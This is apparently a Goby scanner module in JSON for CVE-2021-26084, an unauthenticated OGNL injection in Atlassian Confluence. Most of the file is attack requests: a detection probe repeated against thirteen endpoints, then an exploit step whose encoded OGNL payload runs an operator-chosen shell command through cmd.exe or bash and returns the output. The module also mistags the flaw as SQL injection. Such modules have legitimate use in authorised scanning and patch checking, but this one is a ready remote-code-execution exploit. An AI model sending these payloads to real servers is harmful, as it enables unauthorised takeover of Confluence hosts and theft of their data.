{
      "Name": "Atlassian Confluence OGNL Injection CVE-2021-26084",
      "Level": "3",
      "Tags": [
            "sqli"
      ],
      "GobyQuery": "app=\"Confluence\" || product=\"Confluence\" || company=\"Atlassian\"",
      "Description": "Confluence is Atlassian's professional enterprise knowledge management and collaboration software, which can also be used to build enterprise wikis.",
      "Product": "Atlassian Confluence",
      "Homepage": "https://www.atlassian.com",
      "Author": "",
      "Impact": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.",
      "Recommendation": "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html",
      "References": [
            "https://nvd.nist.gov/vuln/detail/CVE-2021-26084",
            "https://jira.atlassian.com/browse/CONFSERVER-67940",
            "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html"
      ],
      "HasExp": true,
      "ExpParams": [
            {
                  "Name": "Command",
                  "Type": "input",
                  "Value": "whoami"
            },
            {
                  "Name": "Path",
                  "Type": "select",
                  "Value": "/pages/createpage-entervariables.action?SpaceKey=x,/pages/createpage-entervariables.action,/confluence/pages/createpage-entervariables.action?SpaceKey=x,/confluence/pages/createpage-entervariables.action,/wiki/pages/createpage-entervariables.action?SpaceKey=x,/wiki/pages/createpage-entervariables.action,/pages/doenterpagevariables.action,/pages/createpage.action?spaceKey=myproj,/pages/templates2/viewpagetemplate.action,/pages/createpage-entervariables.action,/template/custom/content-editor,/templates/editor-preload-container,/users/user-dark-features"
            }
      ],
      "ExpTips": {
            "Type": "",
            "Content": ""
      },
      "ScanSteps": [
            "OR",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/createpage-entervariables.action?SpaceKey=x",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/createpage-entervariables.action",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/confluence/pages/createpage-entervariables.action?SpaceKey=x",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/confluence/pages/createpage-entervariables.action",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/wiki/pages/createpage-entervariables.action?SpaceKey=x",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/wiki/pages/createpage-entervariables.action",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/doenterpagevariables.action",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/createpage.action?spaceKey=myproj",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/templates2/viewpagetemplate.action",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/pages/createpage-entervariables.action",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/template/custom/content-editor",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/templates/editor-preload-container",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            },
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/users/user-dark-features",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              },
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "value=\"aaaa{140592=null}",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
      "ExploitSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "{{{Path}}}",
                        "follow_redirect": true,
                        "header": {
                              "Content-Type": "application/x-www-form-urlencoded"
                        },
                        "data_type": "text",
                        "data": "queryString=aaaaaaaa%5Cu0027%2B%7BClass.forName%28%5Cu0027javax.script.ScriptEngineManager%5Cu0027%29.newInstance%28%29.getEngineByName%28%5Cu0027JavaScript%5Cu0027%29.%5Cu0065val%28%5Cu0027var+isWin+%3D+java.lang.System.getProperty%28%5Cu0022os.name%5Cu0022%29.toLowerCase%28%29.contains%28%5Cu0022win%5Cu0022%29%3B+var+cmd+%3D+new+java.lang.String%28%5Cu0022{{{command}}}%5Cu0022%29%3Bvar+p+%3D+new+java.lang.ProcessBuilder%28%29%3B+if%28isWin%29%7Bp.command%28%5Cu0022cmd.exe%5Cu0022%2C+%5Cu0022%2Fc%5Cu0022%2C+cmd%29%3B+%7D+else%7Bp.command%28%5Cu0022bash%5Cu0022%2C+%5Cu0022-c%5Cu0022%2C+cmd%29%3B+%7Dp.redirectErrorStream%28true%29%3B+var+process%3D+p.start%28%29%3B+var+inputStreamReader+%3D+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3B+var+bufferedReader+%3D+new+java.io.BufferedReader%28inputStreamReader%29%3B+var+line+%3D+%5Cu0022%5Cu0022%3B+var+output+%3D+%5Cu0022%5Cu0022%3B+while%28%28line+%3D+bufferedReader.readLine%28%29%29+%21%3D+null%29%7Boutput+%3D+output+%2B+line+%2B+java.lang.Character.toString%2810%29%3B+%7D%5Cu0027%29%7D%2B%5Cu0027bbbbbbbb",
                        "set_variable": []
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$code",
                                    "operation": "==",
                                    "value": "200",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": [
                        "output|lastbody|regex|(?s)aaaaaaaa\\[(.*?)\\]bbbbbbb"
                  ]
            }
      ],
      "PostTime": "0000-00-00 00:00:00",
      "GobyVersion": "0.0.0"
}